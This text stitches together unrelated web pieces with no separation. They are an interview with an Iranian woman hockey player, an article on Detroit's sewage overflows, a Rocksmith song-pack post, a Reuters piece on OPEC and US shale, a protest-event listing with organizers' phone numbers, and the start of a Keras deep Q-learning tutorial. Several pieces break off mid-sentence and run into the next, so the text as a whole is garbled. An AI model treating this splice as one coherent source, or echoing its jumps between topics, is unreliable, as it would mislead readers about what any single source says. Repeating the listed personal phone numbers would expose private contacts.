My name is Guila Mohajer. I am from Iran and among the first female group who began playing inline hockey in the country. That was about 12 years ago in my hometown of Rasht, a small green city near the Caspian Sea.
It was maybe twice I had encountered hockey on TV until now, not attracting me just because of the shape of the puck. But once my coach gave me a stick suggesting me to have a try at it.
I had an epiphany that inline hockey is exactly the sport I had always been looking for. The explosive moves I began to use in the games made me become fond of it more. However, despite of having strong boys’ teams, any girls’ teams could not be established in the city. We were even deprived of a coach after a while. The only thing which I could rely on was internet resources and our house’s backyard to learn the basic techniques of hockey.
4 years passed in this way until I graduated from the university in BS of Electronics Engineering and moved to the capital Tehran so that I could continue inline hockey with a team and coaches on the only rink specialized for inline hockey in the country at that time.
Meanwhile, the first women’s inline hockey league was also organized. So I passed the next 6 years by playing in annual leagues, tournaments and being a member of national team for Asian championships cup, giving up my field of study and working as an inline skating coach.
Then ice hockey opened a new world much more enjoyable, exciting and greater to me. In a way that all my dreams became finding a way to improve in it as much as I can. I have even made a decision to put all my efforts to find opportunities to improve my coaching skills so that I can help to the development of this beautiful sport in my country.
How did you discover the game of ice hockey?
I always had a desire to try ice hockey after I attended the first ice skating coaching program in Iran. That was such an amazing experience and it lead me to start seriously searching for a proper opportunity to be able to try all aspects of ice hockey and Turkey gave it to me for the first time last year.
What attract you to the game of ice hockey?
Ice hockey for me is a mixture of many amazing features :
The feeling that a sheet of ice gives me by just gliding over it, the sound of ice cracking beneath my feet while making such fantastic explosive moves, the blowing of breeze while speeding up, the art shown by the dexterity of hands and feet in the techniques, the demanding of ultimate teamwork, concentration and mental abilities to win… All these attributes come together in ice hockey make it an all-in-one sport for me so that I can find everything I want from sports in it.
Outside of yourself are there any other women that play ice hockey?
At the present time, there is just me who plays ice hockey professionally. But I am hopeful that by establishing more facilities throughout the country the number will increase rapidly in near future.
At the moment you are practicing by yourself, do have any plans in joining a club team in the
future?
Last season Turkey gave me an opportunity for the first time to join one of its great teams.
I’d like to thank everybody who made this wonderful experience happen for me. I meet lots of great coaches and players, received lots of favors and gained lots of valuable experiences there. Totally it was a turning point in my life and hockey.
Now, my dream is to play in a country which has a great passion and professional facilities and environment for hockey to improve faster and reach it’s full potential. I haven’t found yet, but I am seriously searching, ready to go to extremes and hopefully waiting to find this opportunity to achieve my goals.
Right now Iran has Inline hockey, but are there any future plans to have organize ice hockey leagues in the country?
I can see great tendency about it among both athletes and officials. There is such great desire that I think establishing ice hockey rinks in different parts of the country will absolutely lead to formation of such leagues immediately.
Are there any future plans to form a Iran Women’s National Team?
At the moment, the lack of facilities makes situation hard for it to happen. I think everything depends on the expanding of facilities in this sport.
Women have just recently been allowed to attend live sporting events in Iran, how has this helped women sports?
This could definitely be a turning point in Iran’s women sports, If continuing. It highlights women sports in the society more and by increasing motivation among female athletes and sponsors, It makes women sports boom faster.
Iran has just form a Men’s National team to compete at the Asian Winter Games. When do you think a women’s team will play at a major event?
It depends on the officials decisions, of course, because of the lack of financial resources and facilities the major focus is on men’s team right now to start competing in such events. This will surely pave the way for more women ice hockey too. However, there are lots of women players who want to keep up with the men internationally, and their drive can overcome obstacles in playing at such events.
Is the game of Ice hockey shown on Television?
Right after planning to form the Men’s National team, for the first time we had live stream of the games from the 2016 world championships on TV, but I think if there is a strong plan to develop Iran’s ice hockey program it should be shown much more of it on TV, because it influences a lot.
Is there Anything else you would like to say to the Iranian people about the game?DETROIT – The spring rains came bursting down this year, and down again and yet again. And in this bankrupt city, the aging sewage system couldn't keep up – just like it couldn't in 2011 and 2009.
So on a Thursday morning in April, Detroit's wastewater managers opened 11 pipes and sent 110 million gallons of raw sewage spewing into the Detroit River. They poured another 3.5 million into the nearby Rouge River.
There was a brief letup. Then six days later came the clouds and the rain. And another 75 million gallons of sewage tumbled into the Detroit River.
"That week, April 11 to about the 18th, we were running at about 1.5 billion gallons a day" at the wastewater treatment plant, said Dan Schechter, superintendent of engineering at the Detroit Water and Sewerage Department, at his desk at the Detroit Wastewater Treatment Plant on the city's industrial southwest side.
The plant can only treat 930 million gallons a day. Concrete basins designed for overflow can only hold so much – so the rivers receive the rest. Heavy flows get diverted to retention basins until the system can catch up. But when basins fill, the pipes to the rivers open.
A crisis
For Detroit, bankrupt and dealing with political and financial turmoil, this is a crisis: An aging, flood-prone sewer system sends raw sewage into the Detroit River during intense downpours. Such spewing can expose people who swim or paddle the river to disease-causing bacteria and viruses. The Detroit River also links the upper and lower Great Lakes, so its contamination affects the health of the region's entire watershed.
There's little question the region is already dealing with the impacts of a changing climate. Rain from heavy, flood-causing storms has jumped 45 percent across the Midwest the past five decades, according to federal scientists. Greenhouse gases increase the energy in the atmosphere and tend to concentrate storms. Southeast Michigan, thanks to a quirk of atmospheric currents and geography, has been hard hit: Annual precipitation has increased 10 to 15 percent in and around Detroit the past 30 years.
In a city where services are beyond strained, climate change is compounding the woe.
"Without trying to sensationalize – it's like a slow (Hurricane) Katrina here," said Larissa Larsen, an associate professor at the University of Michigan and co author of a report on climate change vulnerability in Detroit by the Detroit Climate Action Collaborative. "Whether it's climate caused flooding, a serious blackout or extreme heat, I'm scared … especially for those vulnerable populations."
A combined sewer system means sewage and stormwater go to the same pipes. These systems are no longer built because when it rains hard it can lead to bacteria-tainted water overflowing. Still, about 800 U.S. communities – mostly in the Pacific Northwest, the Northeast and the Great Lakes region – are served by combined sewer systems, according to the EPA.
Detroit's is one of the oldest.
Rains keep coming
Overhauling a combined sewer system costs billions. Detroit, saddled with a $330 million spending gap this year and almost $16 billion in long-term debt, is ill-prepared to undertake such an endeavor. The state appointed an emergency manager to take control of city finances in March, and the city declared bankruptcy on July 18.
Yet the rains keep coming. In the wettest year on record, 2011, Detroit spewed about 7 billion gallons of untreated sewage into the Rouge and Detroit rivers, according to the Michigan Department of Environmental Quality. An additional 25 billion gallons of partially treated sewage – where solids were removed but the water wasn't disinfected – poured into the rivers that year as well.
Things haven't let up. June was the ninth wettest month on record for southeast Michigan since 1874, according to the National Weather Service. The city released more than 2 billion gallons of partially treated sewage and 82 million gallons of diluted sewage into the Detroit River in June alone.
The city reported 55 combined sewer overflow discharges to the Detroit River in 2011, which means too much rain overwhelmed the system and partially treated or untreated wastewater discharged into river. There have been 31 discharges in 2013 so far.
Record algae bloom
Overflows can cause a number of problems. The water carries harmful E. coli bacteria, which can make people sick if exposed to the water.
The Detroit River empties into Lake Erie, which had its worst algae bloom ever in 2011. The bloom was due to a confluence of factors, including record farm runoff, but overflows from Detroit affect the entire Great Lakes basin, said Joel Brammeier, president of the Alliance for the Great Lakes, a nonprofit environmental organization.
"The 'dump sewage into the Great Lakes' approach to sanitation should have been left behind a long time ago," Brammeier said. "But policy and infrastructure haven't caught up."
And it's not just Detroit. Other large Midwest cities are facing the need for major infrastructure upgrades.
During the heavy rain year of 2011, Hammond, Ind.; Toledo, Ohio; Buffalo, N.Y.; Chicago and Cleveland – all saddled with aging combined sewer systems – each spewed more than a billion gallons of sewage into either the Great Lakes or a nearby watershed.
A year ago, fellow Great Lakes city, Duluth, Minn., experienced its worst flood ever: Up to 10 inches of rain fell over two days, causing massive sinkholes, damaging roads and bridges, flooding homes and killing 14 animals at the Lake Superior Zoo.
Nine counties in northeastern Minnesota were declared disaster areas. Damages were estimated at $108 million, and sewage overflowed in both Duluth and nearby towns.
Abandoned neighborhoods
Detroit's woes are particularly compounded by a shrinking population. The nation's sixth largest metropolis three decades ago, with a population of 2 million, the city today has plunged to 18th, with just 700,000 people. Entire neighborhoods sit abandoned, the tax money gone. But the need for working pipes remains.
The city's wastewater system serves Detroit and 76 nearby communities – about 3 million people over 946 square miles. As pipes and other parts of the system age, the cost to maintain them increases, Schechter said. "Funding is a continual challenge for Detroit."
The infrastructure has already collapsed in certain parts of the city, said Nancy Love, an engineering professor at the University of Michigan. "When there is a big storm event there's a big flush – leaves, dirt, and stuff collect in the system from deteriorating parts of city."
Stopped sweeping
It's unclear how much of the city's collection system is currently inactive, Schechter said.
But the city stopped street sweeping a few years ago because there's no money. "So now, when there's a big rain, we get more trash clogging up the system," he said. "That certainly doesn't help matters."
In a city that is more than 83 percent black and has a median household income 42 percent lower than the state, heat waves, flooding and other climate change challenges are an environmental justice issue, said Kimberly Hill Knott, a senior policy manager at Detroiters Working for Environmental Justice.
"It's a poor city and people are going to have to dip into their pockets to deal with climate change impacts," Knott said, referring to higher energy costs and taxes to help strengthen city infrastructure.
Expensive fixes
Fixing the problem isn't cheap, as other cities throughout the region have found.
Grand Rapids, 150 miles west of Detroit, spent two decades and roughly $240 million separating and upgrading its sewage and stormwater drains. The city relied on combined sewers built in the 1800s, until they started separating them in the 1990s.
The city's sewer system, which serves 272,000 people, is almost entirely separated now, said Mike Lunn, the manager of Grand Rapids' Environmental Services Department. The city used state loans and taxpayer money to pay for the projects.
"You have to dig up the street. You have to go right through people's neighborhoods," Lunn said. It's a daunting task.
But it's paid off: the city used to discharge anywhere from 6 billion to 12 billion gallons into the Grand River before the upgrades. That number decreased to 49 million gallons in 2011.
On the western shore of Lake Michigan, Milwaukee has a combined sewer system and has historically had overflow problems similar to Detroit. Since the mid-90s, however, discharges into Lake Michigan have dropped by 80 percent – largely due to a 405 million gallon underground tunnel to capture overflow, according to the Milwaukee Metropolitan Sewerage District.
The city added another 100 million gallons of underground storage capacity with two tunnels completed in 2006 and 2010, respectively. The price tag over two decades? $4 billion.
Heavy storms still tax Milwaukee's combined system – the city sent 2.8 billion gallons of untreated sewage and stormwater into Lake Michigan in 2010. Milwaukee has set a goal to completely eliminate discharges by 2035 and is turning to green projects – such as trees, rain barrels, porous pavement, planted rooftops – to bolster the recent tunnel additions.
Atlanta also spent $4 billion over the past decade separating its sewer and stormwater systems, improvements forced on the city by the federal government. "We had to inspect every linear foot of our system – 1,600 miles," said Jo Ann Macrina, commissioner of DeKalb County's Department of Watershed Management.
More immediate concerns
But Detroit has set aside only $57 million for system improvements this year. And the department is not looking at climate change projections as it plans upgrades, Schechter said.
"Population, population density, and economic growth/contraction are a more immediate concern," he said in an email.
Ken Kunkel, a National Oceanic and Atmospheric Administration scientist and North Carolina State University professor thinks that's a mistake – one not unique to Detroit. Few U.S. water and sewer utilities have reached out to NOAA about using climate data in planning sewer upgrades. Most rely on historic data.
"All models point to bigger storm events in the Midwest," Kunkel said. Utilities, he added, "should worry about it and be planning for it."
And some have. The Water Utility Climate Alliance formed in 2007 as a way for water and sewage service providers to incorporate climate data into future infrastructure plans. There are 10 utility members now. None are from the Midwest.
However, Milwaukee's recent long-term sewage district plan – aimed to completely eliminate discharges by 2035 – incorporated climate modeling, which prompted the heavy investment in porous concrete, as well as ponds, lakes and more natural areas instead of tunnels and more basins.
"Climate change has had an effect on recent precipitation patterns, and precipitation has a direct effect on the region's sewer systems," the city concluded in a recent report. "Green infrastructure is a safe 'no regrets" strategy."
Some successes
It's not all bad news: Detroit has seen some successes.
Combined sewer overflow discharges have reduced by more than 80 percent from the pre-1995 levels, according to the 2012 Alliance for the Great Lakes report. The city used to pour about 20 billion gallons of raw sewage into the Detroit River every year; now the average is about 2 billion, Schechter said.
Even though the nine holding basins have reduced overflow, Detroit needs "more innovative ways to deal with this than digging a big hole in the ground," said Brammeier, the Alliance's president. Detroit started using the storage basins in 1998, bolstering capacity. Meanwhile, over the past 15 years, the wastewater treatment plant has expanded. But plans for a large storage tunnel in 2009 that would have further reduced overflows were scrapped because of lack of money.
Streams used to do a lot of the work – carrying excess water from storms to the Detroit River. But many have long since been rerouted underground into pipes. One intriguing idea to alleviate sewer stress is to "daylight" an old stream – Bloody Run Creek – by busting up the concrete and letting it flow freely again.
In March a coalition of city officials, business leaders and nonprofits released a blueprint for Detroit's future that recommended greening vast amounts of vacant space to alleviate sewer strain. The plan, dubbed Detroit Future City, calls for the creation of ponds, lakes, even forests to ease sewer pressure and soak up other forms of pollution.
It's cheaper to put in and maintain such natural areas compared to sewer system upgrades, the authors say. Detroit also happens to have a lot of vacant land – about 20 square miles, roughly the size of Manhattan.
Vacancy's benefits
There have been a couple of benefits to the vacancy, Schechter said. Overgrown lots capture water, and as industry has left, the department has far fewer problems with toxic metals in the incoming water.
The department has committed $50 million toward disconnecting unused downspouts, removing vacant houses, planting trees and installing trenches, among other "green" techniques aimed at reducing runoff into the Rouge River over the next two decades.
But it's hard to estimate how much runoff green space will capture, Schechter said. "If you build a basin to hold overflow, you know exactly what you're getting."
No one has put an exact price tag on the Detroit Future City plan. The suburban Detroit-based Kresge Foundation has pledged $150 million over the next 5 years to kick-start it.
Still, the city's ability to undertake any sort of ambitious renewal is very much in doubt.
A bankruptcy court now controls much of the city's financial fate; a state-appointed emergency manager is tasked with improving the city's bottom line and streamlining services. The Detroit Water and Sewerage Department has been eviscerated, down to about 600 employees from twice that number a couple of decades ago, Schechter said.
But from the ashes, Knott, at the environmental justice nonprofit, and others see a chance at rebirth.
"This could be a crisis," Knott said. "It's also an opportunity to revitalize the city."
This article originally appeared at The Daily Climate, the climate change news source published by Environmental Health Sciences, a nonprofit media company.Hello Rocksmith fans!
Our third dose of variety comes to us this week, and this time we’re getting some instrumental virtuoso guitar work, a hugely requested indie rock anthem, giants of progressive rock, and one of the greatest metal bands of all time. All in all, this looks to be one of the most complex guitar weeks in recent memory, so start stretching those fingers.
First up is the indie rock as The Fratellis bring their bouncy 2006 hit Chelsea Dagger. We may have mentioned before how much we wanted this song in the game…
Next, we have the return of a Rocksmith 2014 disc artist with Joe Satriani bringing his 1987 masterpiece Always with You, Always with Me to the game. If you’ve mastered Satch Boogie and are looking for more, then look no further!
Following that, we have another Rocksmith 2014 disc artist in the return of Pantera! They’re bringing their 1994 metal classic 5 Minutes Alone. Did you ever expect a Pantera single in a variety pack? I know I didn’t but tune your guitars to D Standard and be prepared to chug and shred with Dime.
Finally, it’s the long awaited return of Styx as the prog legends beef up the criminally under-represented genre with 1978’s Blue Collar Man (Long Nights)! This song is sure to give you a challenge that Renegade only even hinted at. We weren’t lying when we said this week was going to be tough!
Variety Song Pack III – $9.99 / Steam
So tell us, does this pack have everything you want, or is there just too much variety for you to like everything? Let us know in the comments below!VIENNA (Reuters) - First, they ignored each other. Then, they went into a bruising fight. Finally, they are talking, albeit with opposing agendas.
FILE PHOTO: A pumpjack brings oil to the surface in the Monterey Shale, California, April 29, 2013. REUTERS/Lucy Nicholson/File Photo
The history of the relationship between OPEC and the U.S. shale oil industry has evolved a great deal since the cartel discovered it had a surprise rival emerging in a core market for its oil around five years ago.
U.S. shale bankers came to Vienna this week and OPEC is readying a trip for its top officials to Texas in a bid to understand whether the two industries can co-exist or are poised to embark on another major fight in the near future.
REUTERS RECOMMENDS:
Oil traders punish OPEC for promising too much
Trump and other leaders clash on trade, climate at G7
Exclusive: Fidelity may back climate resolutions, a milestone for activists
“We have to coexist,” said Khalid al-Falih, Saudi Arabia’s energy minister, who pushed through OPEC production cuts in December, reversing Riyadh’s previous strategy to pump as much as possible and try to kill off U.S. shale with low oil prices.
OPEC and non-OPEC countries led by Russia agreed on Thursday to extend oil output curbs by nine months to March 2018, keeping roughly 2 percent of global production off the market in an attempt to boost prices.
But OPEC now realizes supply cuts and higher prices only make it easier for the shale industry to deliver higher profit after it found ways of slashing costs when Saudi Arabia turned up the taps three years ago.
In the Permian Basin - the largest U.S. oilfield - Parsley Energy Inc (PE.N), Diamondback Energy Inc (FANG.O) and others are pumping at the fastest rate in years, taking advantage of new technology, low costs and steady oil prices CLc1LCOc1 to reap profits at OPEC’s expense.
OPEC’s latest calculus acknowledges the global clout of shale but seeks to hinder its growth by keeping just enough supply on the market to hold prices below $60 per barrel.
“All shale companies in the U.S. are small companies,” said Noureddine Boutarfa, who represented Algeria at the meeting. “The reality is that at $50 to $60 a barrel, (the U.S. oil industry) can’t break beyond 10 million barrels per day.”
That is the level many analysts estimate U.S. oil production will reach next year, in what would be a 1 million bpd rise, a staggering jump for an industry marked during 2015 and 2016 by scores of bankruptcies and thousands of layoffs after a two-year price war with OPEC.
Still, that extra volume may not be enough to meet rising global demand or offset natural declines in traditional oilfields, which OPEC is banking on.
“For all OPEC members, $55 (per barrel) and a maximum of $60 is the goal at this stage,” said Bijan Zanganeh, Iran’s oil minister. “So is that price level not high enough to encourage too much shale? It seems it is good for both.”
Some OPEC members seem keen to show they have shed any prior naivete about shale, making it a key topic during Thursday’s meeting after barely mentioning it before. Shale’s limitations, including rising service costs, also were discussed.
“We had a discussion on (shale) and how much that has an impact,” said Ecuador Oil Minister Carlos Pérez. “But we have no control over what the U.S. does and it’s up to them to decide to continue or not.”
Mark Papa, chief executive of Permian oil producer Centennial Resource Development Inc (CDEV.O), was asked by OPEC delegates to give a presentation on shale’s potential last week. He appeared to have played his cards close to his chest.
“In terms of the threat, we still don’t know how much (U.S. shale) will be producing in the near future,” Nelson Martinez, Venezuela’s oil minister said after the talk.
WARNING FOR SHALE
By the same token, some U.S. shale leaders may also want a better insight into OPEC thinking and help OPEC understand that shale is not a flash in the pan.
“OPEC looks at shale and it scoffs,” said Dave Purcell of Tudor, Pickering, Holt & Co, a U.S. shale investment bank that attended the OPEC meeting for the first time. “There’s a rational skepticism globally, but it misses the mark.”
For example, the UAE Energy Minister Suhail bin Mohammed al-Mazroui said he did not believe U.S. oil production would rise by 1 million bpd next year.
Some of OPEC’s customers are happy to see an alternative. India, the world’s third-largest oil consumer, said this week it is looking to the United States for greater supply.
FILE PHOTO: OPEC President, Saudi Arabia's Energy Minister Khalid al-Falih, and OPEC Secretary General Mohammad Barkindo talk to journalists before the beginning of a meeting of the Organization of the Petroleum Exporting Countries (OPEC) in Vienna, Austria, May 25, 2017. REUTERS/Leonhard Foeger/File Photo
“The new normal has to be accepted,” Dharmendra Pradhan, India’s energy minister said this week ahead of the OPEC meeting.
OPEC meets again in November to reconsider output policy. While most in the group now appear to believe that shale has to be accommodated, there are still those in OPEC who think another fight is around the corner.
“If we get to a point where we feel frustrated by a deliberate action of shale producers to just sabotage the market, OPEC will sit down again and look at what process it is we need to do,” said Nigerian Oil Minister Emmanuel Kachikwu.1) “House of Secrets” (The New Yorker, 28 minutes, June 2015). Subhead: “Who owns London’s most expensive mansion?” The mansion is named Witanhurst and it’s currently being remodeled… but by whom? That’s not so clear.
When the refurbishment is complete, Witanhurst |
Terrace)
https://www.facebook.com/HartfordMassIncarceration/photos/a.1533134666916100.1073741825.1533134246916142/1540865249476375/?type=1&theater
~ [email protected]
~ https://www.facebook.com/HartfordMassIncarceration/
New Haven, Connecticut
5:30PM Rally at New Haven City Hall, followed by march to the police department
https://www.facebook.com/events/604863192973108
~ [email protected]
DISTRICT OF COLUMBIA
Washington DC
5:30PM Candlelight vigil at the Washington Ethical Society, 7750 16th Street NW
https://www.facebook.com/events/386250278199662
~ http://www.ffoip.org/
~ http://www.ethicalsociety.org/
~ https://www.facebook.com/pages/Washington-Ethical-Society/39879906039
6:30PM Corner of Martin Luther King Jr. Avenue SE and Howard Road SE
http://thepeacehousedc.org/2014/10/13/protest-against-police-brutality-repression-and-the-criminalization-of-a-generation-washington-dc/
~ 202-842-2873
~ http://thepeacehousedc.org/
FLORIDA
Jacksonville, Florida
4:00PM Assemble at Heming Plaza
Sponsored by: New Jim Crow Movement
https://www.facebook.com/events/934436513238321
~ 904-631-1674
~ [email protected]
Lake Worth, Florida
5:00PM Protest in front of the Lake Worth precinct office of the Palm Beach County Sheriff’s Office, 120 N. G Street
Simultaneous online petition/call-in drive
~ [email protected] (Lynne)
Miami, Florida
~ 305-761-6843
~ [email protected]
GEORGIA
Atlanta, Georgia
4:00PM Demonstration and speakout at Woodruff Park (Edgewood and Peachtree), followed by march
~ [email protected] or
~ 770-861-3339
~ [email protected]
HAWAII
Honolulu, Hawai’i
9:00AM-12:00PM Leafletting, banner drops and displays at McCarthy Hall, UH Manoa Campus
6:00PM Assemble in front of Honolulu Zoo (Kalakaua and Kapahulu) for march through Waikiki
http://stopmassincarcerationhawaii2014.blogspot.com/2014/09/events-in-solidarity-with-october-month.html
~ http://stopmassincarcerationhawaii2014.blogspot.com/
IDAHO
Boise, Idaho
~ [email protected]
ILLINOIS
Carbondale, Illinois
10:30AM Vigil at location TBA
http://fergusonoctober.com/day-of-action/blacklivesmatter-day-action-vigil/
~ 803-414-5518
~ [email protected]
Chicago, Illinois
9:00AM Release of the official WCG Shadow Report to the UN Committee Against Torture, “Chicago Police Violence Against Youth of Color” at Jane Addams Hull-House Museum, 800 S. Halstead Street
https://www.facebook.com/events/393181967499789/
~ [email protected]
~ https://www.facebook.com/WeChargeGenocide
12:00PM Rally at Daley Plaza (Washington and Dearborn), followed by march
https://www.facebook.com/events/560615807383459/
~ 312-933-9586
~ [email protected]
~ https://www.facebook.com/pages/October-22-Chicago/302904095656
6:00PM Silent protest at 11th District Police Station/Court Building, 3151 West Harrison Street
https://www.facebook.com/events/1487848628144241/
~ [email protected]
~ https://www.facebook.com/WeChargeGenocide
Rockford, Illinois
5:30PM Gather outside main entrance to county jail (Winnebago and State), then march to the Federal Courthouse (Court and Chestnut)
https://www.facebook.com/events/299085523620612
~ 815-398-6322 or [email protected] (Minister Johnson)
~ [email protected] (Christopher)
Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free?
Download Your Free Copy of Counter Markets
INDIANA
Indianapolis, Indiana
6:30PM Rally at 1 Monument Circle
https://www.facebook.com/events/615188135259181
IOWA
Des Moines, Iowa
6:00PM 251 East 1st Street, across from Des Moines PD
https://www.facebook.com/photo.php?fbid=10152858989967780&set=a.10150120472212780.323987.509787779&type=1&theater
Iowa City, Iowa
7:00PM Rally Iowa City Hall, 410 E Washington Street
https://www.facebook.com/events/570347173111473/571810019631855
KANSAS
Wichita, Kansas
[no contact provided last year]
KENTUCKY
Lexington, Kentucky
2:00PM Walkout at all area universities
6:00PM Assemble at William Wells Brown Elementary, 555 E. 5th Street for march to
7:00PM Rally at Fayette County District Courthouse, 215 W. Main Street
https://www.facebook.com/events/787590071299525/
~ [email protected]il.com (April)
Louisville, Kentucky
12:00PM Rally at 6th and Jefferson, across from Louisville Metro Hall, followed by march to 7th and Jefferson
https://www.facebook.com/events/722099337866574/
~ 502-874-7148
LOUISIANA
New Orleans, Louisiana
~ [email protected]
MARYLAND
Baltimore, Maryland
5:30PM Assemble at Baltimore City Hall
https://www.facebook.com/events/862755707068011/
~ 443-928-5533 (Ameejill)
~ [email protected]
~ https://www.facebook.com/pages/Baltimore-Bloc/436997373037153
MASSACHUSETTS
Amherst, Massachusetts
[no contact provided last year]
Boston, Massachusetts
Share your story online (via Facebook, Twitter, or Instagram) to promote violence awareness (mention @Live4Bo and hashtag your city) – winner to be announced on October 22nd
https://www.facebook.com/Justice4BO/photos/a.1918467531626676.1073741827.144891648984282/2019329368207158/?type=1&theater
~ 617-506-9426
~ [email protected]
~ http://www.live4bo.com/
~ https://www.facebook.com/Justice4BO
12:00PM Gather at Harvard University Science Center, corner of Kirkland and Oxford Street
12:00PM Gather at UMass Boston in front of the Student Center
4:00PM Gather at Ruggles T Station
http://revolutionbookscamb.org/
~ 617-492-5443
~ [email protected]
Cambridge, Massachusetts
~ https://www.facebook.com/PeacefulStreetsProjectBoston
Lynn, Massachussetts
[no contact provided last year]
Springfield, Massachussetts
3:00PM March for Justice: Survival and Resistance from 467 State Street
https://www.facebook.com/events/1478985709042825/
5:30PM Know Your Rights training & potluck at Western Mass Recovery Learning Community, 340 Main Street
https://www.facebook.com/events/289273551279431/
~ 413-734-4948
~ [email protected]
~ http://arisespringfield.org/
~ https://www.facebook.com/ariseforsocialjustice
MICHIGAN
Detroit, Michigan
~ 313-768-7202
~ [email protected]
East Lansing, Michigan
3:00PM Rally at Beaumont Tower, 1206 E Oakland Avenue at the Michigan State University Campus, followed by march
https://www.facebook.com/events/871186929567125
Kalamazoo, Michigan
11:30AM Assemble for march at Red Square on Academy Street and Thompson (at the center of Kalamazoo College Campus), followed by rally on the quad
https://www.facebook.com/photo.php?fbid=10153227366323906&set=gm.718729631549290&type=1&theater
MINNESOTA
Minneapolis, Minnesota
October 20-24 Week of Action in and near University of Minnesota
https://www.facebook.com/events/305348296317258
~ https://www.facebook.com/StudentsUnitedAgainstPoliceBrutality
6:30PM Rally at North Commons Park, Golden Valley Road & Morgan Avenue North, followed by march
https://www.facebook.com/events/878060595554684/
~ 612-874-7867
~ [email protected]
~ https://www.facebook.com/CommunitiesUnitedAgainstPoliceBrutalityMN
~ http://www.cuapb.org/
Twin Cities, Minnesota
~ 651-270-7592 (Raees)
~ [email protected]
MISSOURI
Ferguson, Missouri
5:00PM Rally at Canfield Drive, 9300 W. Florissant, followed by march that will proceed through Canfield Apartments to the police station at 222 S. Florissant Road
https://www.facebook.com/1453132474947612/photos/a.1453135334947326.1073741827.1453132474947612/1491251664469026/?type=1&theater
~ 314-282-7087
~ [email protected]
Kansas City, Missouri
12:00PM Panel at University of Missouri-Kansas City Student Union, Room 402 (5100 Cherry Street)
https://www.facebook.com/events/289831277877328
~ 816-777-6574 (Rashad)
~ [email protected]
St. Louis, Missouri
6:00PM Panel on “LGBTQ+ & Black Oppression: Why We Should All Care About Ferguson” at Blank Space, 2837 Cherokee
https://www.facebook.com/events/758024147580248/
~ 314-265-4756
~ [email protected]
Also see ~ http://stlftp.tumblr.com/
NEVADA
Las Vegas, Nevada
~ 678-683-8279 (Cecily)
~ [email protected]
NEW JERSEY
Freehold, New Jersey
~ [email protected]
Montclair, New Jersey
4:00PM Rally at Church Street Plaza, walk to Unitarian Universalist Church Montclair, mobilize for petition-signing and legislative action in Trenton
http://www.uumontclair.org/wp-content/uploads/2013/05/Mass-Incarceration-Postersmall.pdf
~ 973-651-6396
~ http://www.uumontclair.org/social-justice/undoing-racism/
Newark, New Jersey
Leafletting at ten locations throughout Newark by the Newark Communities for Accountable Policing (details TBA)
~ 973-854-1730.
~ [email protected]
Union County, New Jersey
~ 973-801-0001
NEW MEXICO
Albuquerque, New Mexico
4:30PM Gather at Civic Plaza, 400 Marquette Avenue NW, march to 400 Roma APD headquarters
https://www.facebook.com/events/1557863584425122
~ 505-934-2259 (Dyna)
~ [email protected]
~ https://www.facebook.com/pages/October-22-Coalition-to-Stop-Police-Brutality-Albuquerque/417594535009220
Santa Fe, New Mexico
8:00AM First Judicial District Court Building, 225 Montezuma Avenue
https://www.facebook.com/OccupySantaFe/photos/a.283786624982431.81340.283089501718810/921016294592791/?type=1&theater
~ [email protected]
NEW YORK
Albany, New York
1:00PM Rally at Townsend Park, intersection of Henry Johnson, Central & Washington
http://fergusonoctober.com/day-of-action/albany-ny-october-22-solidarity-rally/
~ 518-461-5702
~ [email protected]
Buffalo, New York
~ 716-587-1570 (Lewuga)
~ [email protected]
Long Island, New York
6:00PM Rally at First Universalist Church, 51900 Rt. 25, Southold
https://www.facebook.com/events/745299402231754
~ 631-765-3494
~ https://www.facebook.com/UUSouthold
New York, New York
1:00PM Assemble at Union Square South in Manhattan, march to Times Square
https://www.facebook.com/events/1493373830919151/
~ 866-235-7814 (toll-free voicemail and fax)
~ [email protected]
~ http://nyc.october22.org/
~ https://www.facebook.com/pages/October-22-Coalition-to-Stop-Police-Brutality-New-York/87429681537Feb 6, 2017
This blog post will demonstrate how deep reinforcement learning (deep Q-learning) can be implemented and applied to play a CartPole game using Keras and Gym, in less than 100 lines of code!
I’ll explain everything without requiring any prerequisite knowledge about reinforcement learning.
The code used for this article is on GitHub.
Reinforcement Learning
Reinforcement Learning is a type of machine learning that allows you to create AI agents that learn from the environment by interacting with it. Just like how we learn to ride a bicycle, this kind of AI learns by trial and error. As seen in the picture, the brain represents the AI agent, which acts on the environment. After each action, the agent receives the feedback. The feedback consists of the reward and next state of the environment. The reward is usually defined by a human. If we use the analogy of the bicycle, we can define reward as the distance from the original starting point.
Deep Reinforcement Learning
Google’s DeepMind published its famous paper Playing Atari with Deep Reinforcement Learning, in which they introduced a new algorithm called Deep Q Network (DQN for short) in 2013. It demonstrated how an AI agent can learn to play games by just observing the screen without any prior information about those games. The result turned out to be pretty impressive. This paper opened the era of what is called ‘deep reinforcement learning’, a mix of deep learning and reinforcement learning.
Click to Watch: DeepMind’s Atari Player
In Q-Learning Algorithm, there is a function called Q Function, which is used to approximate the reward based on a state. We call it Q(s,a), where Q is a function which calculates the expected future value from state s and action a. Similarly in Deep Q Network algorithm, we use a neural network to approximate the reward based on the state. We will discuss how this works in detail.
Cartpole Game
Usually, training an agent to play an Atari game takes a while (from few hours to a day). So we will make an agent to play a simpler game called CartPole, but using the same idea used in the paper.
CartPole is one of the simplest environments in OpenAI gym (a game simulator). As you can see in the animation from the top, the goal of CartPole is to balance a pole connected with one joint on top of a moving cart. Instead of pixel information, there are 4 kinds of information given by the state, such as angle of the pole and position of the cart. An agent can move the cart by performing a series of actions of 0 or 1 to the cart, pushing it left or right.
Gym makes interacting with the game environment really simple.
1 next_state, reward, done, info = env.step(action)
As we discussed above, action can be either 0 or 1. If we pass those numbers, env, which represents the game environment, will emit the results. done is a boolean value telling whether the game ended or not. The old state information paired with action and next_state and reward is the information we need for training the agent.
Implementing Simple Neural Network using Keras
This post is not about deep learning or neural net. So we will consider neural net as just a black box algorithm that approximately maps inputs to outputs. It is basically an algorithm that learns on the pairs of examples input and output data, detects some kind of patterns, and predicts the output based on an unseen input data. Though neural network itself is not the focus of this article, we should understand how it is used in the DQN algorithm.
Note that the neural net we are going to use is similar to the diagram above. We will have one input layer that receives 4 information and 3 hidden layers. But we are going to have 2 nodes in the output layer since there are two buttons (0 and 1) for the game.
Keras makes it really simple to implement a basic neural network. The code below creates an empty neural net model. activation, loss and optimizer are the parameters that define the characteristics of the neural network, but we are not going to discuss it here.
